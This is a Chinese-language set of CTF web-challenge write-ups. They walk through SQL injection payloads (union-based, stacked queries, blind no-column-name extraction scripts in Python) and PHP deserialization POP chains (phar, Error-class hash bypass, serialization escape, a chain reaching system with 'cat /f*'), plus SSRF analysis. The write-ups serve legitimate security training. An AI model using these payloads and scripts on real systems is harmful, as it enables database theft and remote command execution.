其实
web
[SWPUCTF 2021 新生赛]easy_sql
开启环境后看到一个提示“球球你输入点东西吧!”没有其他信息,就看看源码
直接试试get传参
有所显示
看看是字符型还是数字型
可以判定是字符型
接下来判断闭合类型
根据显示,可以得知是单引号闭合类型
然后查字段
4显示不在,那就往下减
说明字段数是2
查看回显位
查库名
查表名
?wllm=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='test_db' --+
查列名
?wllm=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='test_db' and table_name='test_tb' --+
这里看到了flag
查看内容
[suctf 2019]EasySQL (堆叠注入)
先来进行简单的尝试
输入1输入1\就是空白
再试试引号,单引号空白,双引号:
这里就能推测是有黑名单之类的东西
而且输入1\没有回复,说明没有报错提醒,就没办法利用报错信息,报错注入就不可以用了
最后使用堆叠注入
列出服务器上的所有数据库
1;show databases;#
接下来我们只能碰运气的走下去
首先就试试ctf吧
查ctf数据库下的表名
1;use ctf;show tables;#
居然有flag
但是当我们继续下一步
这里我依次尝试了下面的语句
1;use ctf;describe Flag;#
1;use ctf;show columns from Flag;#
1;use ctf;select flag from Flag;#
1 union select 1,flag from ctf.Flag#
都显示NOnono
这里想着去看一下源码吧,结果貌似也没有很有用
看看别人的呢
这道题目需要我们去对后端语句进行猜解
1、输入非零数字得到的回显1和输入其余字符得不到回显=>来判断出内部的查询语句可能存在有||
2、也就是select 输入的数据||内置的一个列名 from 表名=>即为
后台语句为:select $post['query']||flag from Flag
所以我们要解决的问题是 || 或这个问题
测试语句:1;set sql_mode=PIPES_AS_CONCAT;select 1
拼接效果为:select 1;set sql_mode=PIPES_AS_CONCAT;select 1||flag from Flag
- 关于 sql_mode : 它定义了 MySQL 应支持的 SQL 语法,以及应该在数据上执行何种确认检查,其中的PIPES_AS_CONCAT将 ||视为字符串的连接操作符而非 “或” 运算符
- 在oracle 缺省支持 通过 ‘ || ’ 来实现字符串拼接。
- 但在mysql 缺省不支持。需要调整mysql 的sql_mode
- 模式:pipes_as_concat 来实现oracle 的一些功能
这个就可以解决||带来的问题了
select 1||flag from Flag呢,看起来没有遇见过,但是就是相当于在表后面加一列 1
还有一个非预期解 *,1 好像是因为没有过滤*而造成的,拼接后不难理解
[SWPU 2018]SimplePHP
开启环境,好干净的页面上传文件界面
查看文件界面看地址栏是可以查看文件的
我们就在这里来查看一下文件
先看看index.php,file.php,upload_file.php这三个已知文件吧
有一个base.php文件
看到flag,想直接去看,但是
接下来看看file.php
file.php下面有两个文件,
function.php和class.php
这里先来分析一下这个代码
这是一个关于上传文件的代码
当我们上传文件时,文件后缀有所限制(gif,jpeg,jpg,png)
上传成功,文件名被修改,原始文件名进行md5加密【md5(原文件名 + 用户IP)】 ,然后后缀为.jpg,再将文件移动到/upload文件夹下
再看看class.php
<?php
class C1e4r
{
public $test;
public $str;
public function __construct($name)
{
$this->str = $name;
}
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
}
class Show
{
public $source;
public $str;
public function __construct($file)
{
$this->source = $file; //$this->source = phar://phar.jpg
echo $this->source;
}
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}
}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class Test
{
public $file;
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
return $this->get($key);
}
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
}
?>
代码结构分析
C1e4r类:
__destruct()
方法会将$str
赋值给$test
并输出,可能触发其他魔术方法。Show类:
__toString()
方法会在对象被当作字符串使用时触发_show()
方法存在文件读取功能,但有危险协议过滤__wakeup()
方法会在反序列化时触发,也有危险协议过滤Test类:
file_get()
方法可以读取任意文件内容(关键漏洞点)- 通过
__get()
魔术方法实现链式调用
本题中file.php使用了file_exists()函数,触发phar反序列化
构造pop链
C1e4r类的__destruct()中有echo $this->test;,触发Show类的__toString(),而该函数中的$content = $this->str['str']->source;,又可以继续触发Test类中的__get(),因为Test类中没有source属性
<?php
class C1e4r
{
public $test;
public $str;
public function __construct()
{
$this->str = new Show();
}
}
class Show
{
public $source;
public $str;
public function __construct()
{
$this->str=array('str'=>new Test());
}
}
class Test
{
public $file;
public $params;
public function __construct()
{
$this->params = array('source'=>'/var/www/html/f1ag.php');
}
}
$a=new C1e4r();
@unlink("phar.phar");
$phar=new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();?>");//设置sutb
$phar->setMetadata($a);//将自定义的meta-data存入manifest
$phar->addFromString("1.txt","123123>");//添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
@unlink('./phar.jpg');
rename("./phar.phar","./phar.jpg");
将代码写入phar.jpg
然后上传文件
再用phar协议去访问该文件,得到base64编码的flag
[极客大挑战 2020]greatphp
这段代码的主要逻辑:
**
SYCLOVER
类**:- 包含两个属性
$syc
和$lover
。 __wakeup()
魔术方法在反序列化时触发,检查以下条件:$this->syc != $this->lover
(值不同)md5($this->syc) === md5($this->lover)
(MD5 哈希相同)sha1($this->syc) === sha1($this->lover)
(SHA1 哈希相同)$this->syc
不包含<?php
、(
、)
、"
、'
等字符
- 如果条件满足,执行
eval($this->syc)
(任意代码执行)。
- 包含两个属性
反序列化入口:
- 通过
$_GET['great']
接收用户输入,并调用unserialize()
。
- 通过
在类里,无法用数组进行md5绕过,所以用Error类绕过md5和sha1检测
先来测试一下ab的值
<?php
$a = new Error("payload", 1);$b = new Error("payload", 2);//注意这里需要写在一行上
echo $a;
echo "<br>";
echo $b;
echo "<br>";
if ($a != $b) {
echo "a!=b";
}
echo "<br>";
if (md5($a) === md5($b)) {
echo "md5相等" . "<br>";
}
if (sha1($a) === sha1($b)) {
echo "sha1相等";
}
ok,可以
那么就写payload
由于题目用preg_match过滤了小括号无法调用函数,所以我们尝试直接include "/flag"
将flag包含进来即可;由于过滤了引号,于是在这里进行取反,这样解码后就自动是字符串,无需再加双引号或单引号。
而且eval执行带有完整标签的语句需要先闭合,就类似于将字符串当成代码写入到源码中。
所以最后的payload:
<?php
class SYCLOVER
{
public $syc;
public $lover;
public function __wakeup()
{
if (($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc) === sha1($this->lover))) {
if (!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)) {
eval($this->syc);
} else {
die("Try Hard !!");
}
}
}
}
$cmd = '/flag';
$s = urlencode(~$cmd);
$str = "?><?=include~" . urldecode($s) . "?>";
$a = new Error($str, 1);$b = new Error($str, 2);
$c = new SYCLOVER();
$c->syc = $a;
$c->lover = $b;
echo(urlencode(serialize($c)));
?>
将运行结果get传参给great
[安洵杯 2019]easy_serialize_php
开启环境点开看看
源码,并且地址栏可以看到可以进行get传参
核心逻辑如下:
**
filter()
函数**:
- 过滤
php
、flag
、php5
、php4
、fl1g
等关键词,替换为空。- 例如:
filter("flag.php")
→.php
。**
$_SESSION
处理**:
- 默认设置
$_SESSION["user"] = "guest"
。$_SESSION["function"] = $function
(来自$_GET['f']
)。$_SESSION["img"]
由$_GET['img_path']
决定:
- 如果
img_path
未提供,默认base64_encode("guest_img.png")
。- 否则,计算
sha1(base64_encode($_GET['img_path']))
。**
extract($_POST)
**:
- 将
$_POST
数据直接提取为变量,导致变量覆盖。功能分支:
highlight_file
:显示当前文件源码。phpinfo
:执行phpinfo()
,可能泄露敏感信息。show_image
:反序列化$serialize_info
并读取文件内容。
变量覆盖
extract($_POST);
使用这个,我们可以任意post东西上去,覆写任意变量。
比如我们post一个SESSION['haha'] = 1
, 这个时候原来SESSION的user,function和img项全部会消失,SESSION会只剩一个haha项,值为1
当然,如果我们post三个值user,function和img项上去,就可以替换原来的值。
这里倒没有那么方便,因为img的处理是在post之后进行的。
这里找到了提示
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
这里用到的知识点是php反序列化逃逸
上面提示如果传入phpinfo的话就会eval执行phpinfo
payload:
index.php?f=phpinfo
这样就会触发phpinfo界面,先进去看看会不会有有用信息
直接搜flag或者fl没有办法找到,也就是说没有flag
然后换了一个想法,搜f1
再来触发一下show_image
$userinfo['img']只进行了base64解码,结合前面我们需要让guset_img.png逃逸
继续跟进$userinfo['img']的入口,$userinfo = unserialize($serialize_info); $serialize_info = filter(serialize($_SESSION));
所以是$_SESSION序列化后被filter函数处理,再反序列化赋给userinfo,最后取出img这个键对应的值
反序列化
<?php
$_SESSION["user"] = '*';
$_SESSION['function'] = '**';
$_SESSION['img'] = base64_encode('guest_img.png');
echo serialize($_SESSION);
?>
因为我们要让guest_img.png逃逸换成,那我们function就应该
为;s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
,让前面user的值被filter()函数替换掉,让";s:8:"function";s:40:
这22个字符成为user的值,img成为一个键,但是本来是有三个键,因此我们这里还需要自己写一个键,最终结果为
<?php
$_SESSION["user"] = 'phpphpphpflagphpphpphp';
$_SESSION['function'] = ';s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"a";s:1:"a";}';
$_SESSION['img'] = base64_encode('guest_img.png');
echo serialize($_SESSION);
?>
a:3:{s:4:”user”;s:22:”phpphpphpflagphpphpphp”;s:8:”function”;s:56:”;s:3:”img”;s:20:”ZDBnM19mMWFnLnBocA==“;s:1:”a”;s:1:”a”;}”;s:3:”img”;s:20:”Z3Vlc3RfaW1nLnBuZw==“;}
经过filter函数处理后 a:3:{s:4:”user”;s:22:””;s:8:”function”;s:56:”;s:3:”img”;s:20:”ZDBnM19mMWFnLnBocA==“;s:1:”a”;s:1:”a”;}”;s:3:”img”;s:20:”Z3Vlc3RfaW1nLnBuZw==“;}
那么POST传入参数
_SESSION[user]=phpphpphpflagphpphpphp&_SESSION[function] =;s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"a";s:1:"a";}
查看源码发现flag在/d0g3_fllllllag中,base64编码后再次传参读取即可
_SESSION[user]=phpphpphpflagphpphpphp&_SESSION[function] =;s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:1:"a";s:1:"a";}
[LitCTF 2023]这是什么?SQL !注一下 !
先直接输入1其实在左下角有关键提示 ,这就直接告诉我们sql语句
给出的sql语句可以看出闭合方式是(((((())))))
然后id=1时username=tanji,password=OHHHHHH
试试别的id
id=2
利用已知的闭合方式来进行尝试
成功
字段数就不用再查了,前面的就能看出是两个字段
查回显位
查库名
看看那个ctf吧
查表名
-1)))))) union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()--+
查列名
-1)))))) union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="users"--+
有三列,分别是:id,username,password
查询列中的所有内容
-1)))))) union select username,password from users--+
这里一看就没有flag
换个数据库
但是我们需要先找找,show查询走不通,用select
-1)))))) union select 1,schema_name from information_schema.schemata--+
这里注意到ctftraining
查询 ctftraining 数据库的所有表名、列名
查询 ctftraining 数据库的所有表名:
-1)))))) union select 1,group_concat(table_name) from information_schema.tables where table_schema="ctftraining"--+
看到了flag
查询 flag 表的所有列名:
-1)))))) union select 1,group_concat(column_name) from information_schema.columns where table_schema="ctftraining" and table_name="flag"--+
查内容
-1)))))) union select 1,flag from ctftraining.flag--+
[FSCTF 2023]ez_php1
第一层,数组绕过
第二层
把KEY值序列化就行
第三层
P0int.php
,是一个简单的反序列化,调用函数的时候读取了flag
的base64
值并赋值给了a
变量,但是__destruct
函数中输出的确实b
的值,所以将b
绑定为a
的地址即可
<?php
class Clazz
{
public $a;
public $b;
public function __construct()
{
$this->b = &$this->a;
}
public function __wakeup()
{
$this->a = file_get_contents("php://filter/read=convert.base64-encode/resource=g0t_f1ag.php");
}
public function __destruct()
{
echo $this->b;
}
}
$c = new Clazz();
echo serialize($c);
//data=O:5:"Clazz":2:{s:1:"a";N;s:1:"b";R:2;}
解个base就可以得到flag
[MoeCTF 2022]ezphp
开启环境
首先对php代码进行审计:
$flag=’xxxxxxx‘可不是代表flag的值是xxx,这段代码是通过第一行的代码:highlight_file('source.txt');把source.txt中的内容显示在了界面上,真实flag的值隐藏了起来,这里专门写出的意义是提醒同学们最后要得到的flag在$flag中。
这一行代码首先使用isset()函数检查$_GET['flag']和$_POST['flag']两个变量是否存在。如果两者都不存在,则执行exit($giveme),脚本输出$giveme变量的值并终止执行。
这一行代码检查$_POST['flag']和$_GET['flag']两个变量是否等于字符串'flag'。如果其中任何一个变量的值为'flag',则执行exit($getout),脚本输出$getout变量的值并终止执行。值得注意的是这里的判断是===。
这部分代码使用foreach分别循环遍历$_POST数组和$_GET数组。对于每个键值对,在$_POST数组中,将键作为变量名,将对应的值作为变量值。在$_GET数组中,对于每个键值对,将值作为变量名,并将对应变量的值赋给当前循环的变量。这里是题的关键所在,如何理解这个$$,可以参照下例:
让我们假设URL为:http://example.com?name=John&age=25
在这种情况下,$_GET数组如下:
$_GET = array(
'name' => 'John',
'age' => '25'
);
现在,如果我们使用该foreach循环来遍历$_GET
数组:
foreach ($_GET as $key => $value) {
$$key = $value;
}
该循环将创建两个变量$name
和$age
,并将它们的值分别设置为’John’和’25’。
因此,上述代码等效于以下赋值操作:
$name = 'John';
$age = '25';
现在,我们可以直接使用这些变量$name
和$age
来访问相应的值:
echo $name; // 输出:John
echo $age; // 输出:25
理解之后,在加上之前的判断,我们可以得出答案:?a=flag&flag=a.
实际的过程是$a = $flag,随后$flag = $a = $flag,即flag的值没有发生变化,且满足上述的需求。
[FSCTF 2023]ez_php2
点开之后是一段php代码:
<?php
highlight_file(__file__);
Class Rd{
public $ending;
public $cl;
public $poc;
public function __destruct()
{
echo "All matters have concluded";
die($this->ending);
}
public function __call($name, $arg)
{
foreach ($arg as $key =>$value)
{
if($arg[0]['POC']=="1111")
{
echo "1";
$this->cl->var1 = "system";
}
}
}
}
class Poc{
public $payload;
public $fun;
public function __set($name, $value)
{
$this->payload = $name;
$this->fun = $value;
}
function getflag($paylaod)
{
echo "Have you genuinely accomplished what you set out to do?";
file_get_contents($paylaod);
}
}
class Er{
public $symbol;
public $Flag;
public function __construct()
{
$this->symbol = True;
}
public function __set($name, $value)
{
$value($this->Flag);
}
}
class Ha{
public $start;
public $start1;
public $start2;
public function __construct()
{
echo $this->start1."__construct"."</br>";
}
public function __destruct()
{
if($this->start2==="11111") {
$this->start1->Love($this->start);
echo "You are Good!";
}
}
}
if(isset($_GET['Ha_rde_r']))
{
unserialize($_GET['Ha_rde_r']);
} else{
die("You are Silly goose!");
}
?> You are Silly goose!
首先我们审计这段代码。
这段代码主要定义了四个类(Rd、Poc、Er、Ha),并通过检查 $_GET 参数来决定是否进行反序列化操作。如果存在特定的 $_GET 参数,则尝试反序列化其值,否则输出 “You are Silly goose!”。
以下是对代码的详细解读:
<?php
highlight_file(__file__); 这个函数会高亮显示
当前文件的代码内容,通常用于调试或展示代码结构,但
在生产环境中一般不应该使用,因为它可能会暴露敏感信息。
Class Rd{ 定义了一个名为Rd的类。
public $ending;
public $cl;
public $poc;声明了三个公共属性
public function __destruct() __destruct()魔术
方法:当对象被销毁时会触发这个方法。它会输出 “All
matters have concluded”,然后使用die()函数终
止程序并输出ending属性的值。
{
echo "All matters have concluded";
die($this->ending);
}
public function __call($name, $arg)__call()魔
术方法:当调用一个不可访问的方法时会触发这个方法。
这里它遍历传入的参数,如果参数中的某个元素的键为
POC且值为 “1111”,则输出 “1”,并将cl属性的var1
属性设置为 “system”。
{
foreach ($arg as $key =>$value)
{
if($arg[0]['POC']=="1111")
{
echo "1";
$this->cl->var1 = "system";
}
}
}
}
class Poc{ 定义了一个名为Poc的类。
public $payload;
public $fun;声明了两个公共属性。
public function __set($name, $value) __set()
魔术方法:当给一个不可访问的属性赋值时会触发这个
方法。它将传入的属性名和值分别赋值给payload和fun属性。
{
$this->payload = $name;
$this->fun = $value;
}
function getflag($paylaod) getflag()方法:输
出一段文本,然后使用file_get_contents()函数尝试
获取传入参数所指定的文件内容。如果传入的参数是恶
意的,可能会导致安全问题,例如读取敏感文件。
{
echo "Have you genuinely accomplished what you set out to do?";
file_get_contents($paylaod);
}
}
class Er{ 定义了一个名为Er的类
public $symbol;
public $Flag;声明了两个公共属性。
public function __construct() __construct()构
造方法:将symbol属性初始化为True。
{
$this->symbol = True;
}
public function __set($name, $value)__set()魔
术方法:当给一个不可访问的属性赋值时会触发这个方法。
它会将传入的值作为函数调用,并将Flag属性作为参数传
入这个函数。如果传入的值是恶意的函数,可能会导致安全问题。
{
$value($this->Flag);
}
}
class Ha{ 定义了一个名为Ha的类。
public $start;
public $start1;
public $start2;声明了三个公共属性。
public function __construct() __construct()
构造方法:输出start1属性的值和 “__construct”
以及一个换行符。
{
echo $this->start1."__construct"."</br>";
}
public function __destruct() __destruct()魔术
方法:当对象被销毁时会触发这个方法。如果start2属
性的值为 “11111”,则调用start1属性的Love()方法,
并传入start属性作为参数,然后输出 “You are Good!”。
{
if($this->start2==="11111") {
$this->start1->Love($this->start);
echo "You are Good!";
}
}
}
if(isset($_GET['Ha_rde_r']))
{
unserialize($_GET['Ha_rde_r']);
} else{
die("You are Silly goose!");
}检查是否存在$_GET['Ha_rde_r']参数。如果存在,则对
其进行反序列化操作;如果不存在,则输出 “You are Sil
ly goose!”。这里的反序列化操作如果传入的参数被恶意构
造,可能会导致安全问题,例如对象注入攻击。
?> You are Silly goose!
开始找链子,入口在Ha里面。触发__destruct方法后,给start2赋值"11111",然后进入如下语句:
$this->start1->Love($this->start);
使得其触发__call方法,然后给start赋值[‘POC’=>‘1111’]
进入if语句,然后通过其中的var1触发__set方法
然后value就成为了system,修改$Flag就可以修改执行的命令了
然后我们构造如下脚本:
<?php
Class Rd{
public $cl;
}
class Er{
public $Flag='cat /f*';
}
class Ha{
public $start;
public $start1;
public $start2="11111";
}
$a=new Ha();
$a->start1=new Rd();
$a->start=['POC'=>'1111'];
$a->start1->cl=new Er();
echo serialize($a);
?>
运行之后得到:
我们构造payload:
?Ha_rde_r=O:2:"Ha":3:{s:5:"start";a:1:{s:3:"POC";s:4:"1111";}s:6:"start1";O:2:"Rd":1:{s:2:"cl";O:2:"Er":1:{s:4:"Flag";s:7:"cat /f*";}}s:6:"start2";s:5:"11111";}
然后我们打开HackBar 运行之后得到flag:
[网鼎杯 2018]Fakebook
进入页面,常规审计F12无发现,这边先扫一下有无泄露扫目录,发现存在robots.txt和flag.php,访问后发现源码泄露/user.php.bak
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}
curl_init(url)函数,初始化一个新的会话,返回一个cURL句柄,供curl_setopt(), curl_exec()和curl_close() 函数使用。参数url如果提供了该参数,CURLOPT_URL 选项将会被设置成这个值。
curl_setopt ( resource $ch , int $option , mixed $value ) 设置 cURL 传输选项,为 cURL 会话句柄设置选项。参数:
ch:由 curl_init() 返回的 cURL 句柄。
option:需要设置的CURLOPT_XXX选项。(CURLOPT_URL:需要获取的 URL 地址,也可以在curl_init() 初始化会话的时候。使用 CURLOPT_RETURNTRANSFER 后总是会返回原生的(Raw)内容。)
value:将设置在option选项上的值。
curl_getinfo — 获取一个cURL连接资源句柄的信息,获取最后一次传输的相关信息。
经过分析可得:
1,注册界面输入的blog经过了isValidBlog()函数的过滤,不然直接在注册界面blog处输入file:///var/www/html/flag.php就能拿到flag。
2,get()函数存在ssrf漏洞。
显然存在ssrf漏洞,并且拼接入我们的url就是我们注册的时候输入的url,但是显然是有waf的,所以我们就不能够直接利用。。没有WAF直接在注册界面输入file:///var/www/html/flag.php就能拿到我们想要的flag。所以,我们的思路是,把flag的路径赋给blog,经过一系列操作最后会返回flag.php的内容。
[WEEK2]easy_sql -- 无列名盲注
o!看了wp才知道就是union无列名注入 小问题 出来就好!!嘿嘿
分析
打开题目,发现页面的回显只有:1的、错误、error 三种 可以考虑盲注了
and && ^ # --+ 都被过滤
- 盲注的话考虑:与、异或、按位或、按位与
- 没有办法闭合考虑 or ||
sql中字符数字可以和数字进行按位或
构造 1'|1||'
正确回显 1'|2||'
错误回显
然后进行爆破数据库长度
发现数据库的长度是3
进一步尝试,order、information_schema都被过滤
information_schema 被过滤 -> 无列名注入
order 被过滤 -> group 替换
爆破数据库的列数,3列
1'group/**/by/**/3,' 前面的'闭合1前的' 后面的是闭合之前有的' 加上,分开 因为过滤了# 和 + 无法注释 而order by group by要在最后 使用,分割 select * from xx where id = '1'group by 5,'2'
information_schema.table被过滤 可以使用 mysql.innodb_table_stats
脚本爆破一下表的名字 得出 ccctttfff
def get_cloumns(): count = 1 flag = '' while True: for i in range(32, 127): data = { "id": f"1'|if(ascii(substr((select(group_concat(table_name))from(mysql.innodb_table_stats)where(database_name=database())),{count},1))={i},1,2)||'"} resp = requests.post(url=url, data=data) if success in resp.text: flag += chr(i) print(flag) count += 1 break elif i == 126: return False time.sleep(0.05)
下面无列名爆破数据
select 1,2,3 union select * from ccctttfff
这样以来 1 2 3 分别对应一列 二列 三列 的列名
然后
select group_concat(`1`,'-',`2`,'-',`3`) from (select 1,2,3 union select * from ccctttfff)a select(group_concat(`3`))from(select/**/1,2,3/**/union/**/select/**/*/**/from/**/ccctttfff)a
这样就可以在没有列名的情况下查询到数据库信息
然后我们开始盲注
1'|if(ascii(substr((select(group_concat(`3`))from(select/**/1,2,3/**/union/**/select/**/*/**/from/**/ccctttfff)a),1,1))=55,1,2)||'
运行了好多遍 遍历出来的三列分别是
# 第一列 1 # 第二列 bob # 第三列 I am so handsome
呜呜呜,跑了好多遍,终于怀疑:出题人是不是没有把flag放到这数据库
重新跑所有的数据库库名
qwq,原谅我太菜
跑出来有两个数据库
ctf
ccctttfff
# 这个脚本的缺点:半自动 但是跑出来的表不会重复 需要修改 # limit 0,1 =>第一个数据库 # limit 1,1 =>第二个数据库 # ...... def get_all_database(): flag = '' count = 1 while True: for i in range(32, 127): data = { "id": f"1'|if(ascii(substr((select/**/database_name/**/from/**/mysql.innodb_table_stats/**/group/**/by/**/database_name/**/LIMIT/**/0,1),{count},1))={i},1,2)||'"} resp = requests.post(url=url, data=data) if success in resp.text: flag += chr(i) print(flag) break elif i == 126: return False time.sleep(0.1) count += 1 # 这个脚本的缺点:有多少个表 就会跑多少个数据库 数据库会重复 def get_all_database(): flag = '' count = 1 while True: for i in range(32, 127): data = { "id": f"1'|if(ascii(substr((select/**/group_concat(database_name)from/**/mysql.innodb_table_stats),{count},1))={i},1,2)||'"} resp = requests.post(url=url, data=data) if success in resp.text: flag += chr(i) print(flag) break elif i == 126: return False time.sleep(0.1) count += 1
第一个脚本结果:
第二个脚本结果:
然后我跑的是所有的表名
因为知道ccctttff属于ctf,那么跑出来的其余的都是ctftraining的
# 结果: # ctf:ccctttfff # ctftraining:flag,news,users,gtid_slave_pos def get_tables(): count = 1 flag = '' while True: for i in range(32, 127): data = { "id": f"1'|if(ascii(substr((select(group_concat(table_name))from(mysql.innodb_table_stats)),{count},1))={i},1,2)||'"} resp = requests.post(url=url, data=data) if success in resp.text: flag += chr(i) print(flag) count += 1 break elif i == 126: return False time.sleep(0.05)
我是估计flag就在flag表里面,但是把无列名查询我们要知道表中具体的列数的 我们又不知道flag表多少列
我查了资料也没找到,因为information_schema被过滤,有大佬知道可以说下的!
然后就是靠懵了
比赛中表的列数一般会小于10 也就 3 4 5左右
我是从1开始试的
1'|if(ascii(substr((select(group_concat(`1`))from(select/**/1/**/union/**/select/**/*/**/from/**/ctftraining.flag)a),{count},1))={i},1,2)||'
脚本
def get_values(): count = 1 flag = '' while True: for i in range(32, 127): data = { "id": f"1'|if(ascii(substr((select(group_concat(`1`))from(select/**/1/**/union/**/select/**/*/**/from/**/ctftraining.flag)a),{count},1))={i},1,2)||'"} resp = requests.post(url=url, data=data) print(i) if success in resp.text: flag += chr(i) print(flag) count += 1 break elif i == 126: return False time.sleep(0.05)
最后也是跑出来了
PS:这个题挺鸡贼的哈哈哈